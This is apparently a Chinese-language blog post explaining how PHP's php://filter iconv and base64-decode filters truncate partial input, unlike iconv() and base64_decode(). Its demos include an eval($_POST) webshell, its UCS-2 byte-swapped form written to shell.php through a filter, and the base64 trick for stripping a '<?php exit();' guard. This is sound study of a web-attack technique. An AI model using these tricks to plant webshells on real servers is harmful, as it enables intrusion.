Featured image of post PHP Filter 伪协议实现细节

PHP Filter 伪协议实现细节

关于PHP Filter 伪协议中间流过滤器的一些细节

在PHP中,关于编码转换,使用php://filtericonv()进行编码转换有所不同

iconv

基本语法:

1
string iconv(string $in_charset, string $out_charset, string $str)

参数说明:

  • $in_charset: 输入字符编码,即源字符串的编码。
  • $out_charset: 输出字符编码,即目标字符串的编码。
  • $str: 要转换的字符串。

返回值

  • 成功时,返回转换后的字符串
  • 失败时,返回 false

php示例代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
$utf8String = "你好,世界!";
$gbkString = @iconv("UTF-8", "GBK", $utf8String);

if ($gbkString === false) {
    echo "转换失败";
} else {
    echo $utf8String;
    echo "\n";
    echo $gbkString; // 输出 GBK 编码的字符串
    echo "\n";
}
?>

image-20241217143606942

官方提到支持的字符编码部分如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*

usc-2

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子)

1
2
3
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>');
echo "\n";

image-20241217144656949

同理,usc-4可以理解为:通过UCS-4方式,对目标字符串进行4位一反转

1
2
3
<?php
echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[abcd]);?>');
echo "\n";

image-20241217144816519

所以,在关于UCS-2LE的转换过程中,被转换对象必须是2的倍数,否则就会报错

1
2
3
<?php
var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));
var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>'));

image-20241217143907037

php://filter

关于php://filter的基本知识需要读者自行补充

上述的报错问题,在php://filter中其实有优化,会截断忽略不满足要求的字符(这里的要求是n的倍数),会截断掉最后余下的不满n倍数的字符串

例如上方最后一个栗子中的var_dump(@iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));,如果放在php://filter,会直接截断忽略

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
var_dump(iconv('UCS-2LE','UCS-2BE','x?<uc cucvcsa(b;)>?'));
file_put_contents('php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php','x?<uc cucvcsa(b;)>?');
//file_put_contents 可以将第二个参数的内容,放入第一个参数中,第一个参数设置了中间流过滤器
//所以,file_put_contents 将第二个参数的内容按照第一个参数的设置过滤后放入shell.php中
$a = file_get_contents('shell.php');
echo $a."\n";

image-20241217150147215

这样的截断忽略在convert.base64-decode中也有体现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
error_reporting(0);
$strr = "<?php exit();";
$r = preg_replace('|[^a-z0-9A-Z+/]|s', '', $strr);
var_dump($r);

$a1 = base64_decode($r);

file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php',$strr);
$a2 = file_get_contents('shell.php');

$rr =  $a1 === $a2;

var_dump($rr);

Debug信息:

image-20241217161612326

输出:

image-20241217161520089

所以可知:

1
2
3
4
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); //使得 "<?php exit();" ==> "phpexit"
base64_decode($_GET['txt']);
// 等价于
file_put_contents('php://filter/write=convert.base64-decode/resource=xxx.php',$strr);

总结

PHP中,同样是编码转换,php://filter会截断忽略不满足要求的字符,但是直接使用对应函数,不会智能忽略

所以php://fileter可以被用来做一些操作,清除或者使得原文件内容不可被识别

Tips

1
2
3
4
file_put_contents('php://filter/write=convert.base64-decode/resource=xxx.php',$strr);
//等价于
file_put_contents('php://filter/convert.base64-decode/resource=xxx.php',$strr);
//函数指定之后,可以尝试省略 write read 关键字

Ref

https://www.php.net/manual/en/filters.convert.php

https://www.freebuf.com/articles/web/266565.html

Dan❤Anan
Built with Hugo
主题 StackJimmy 设计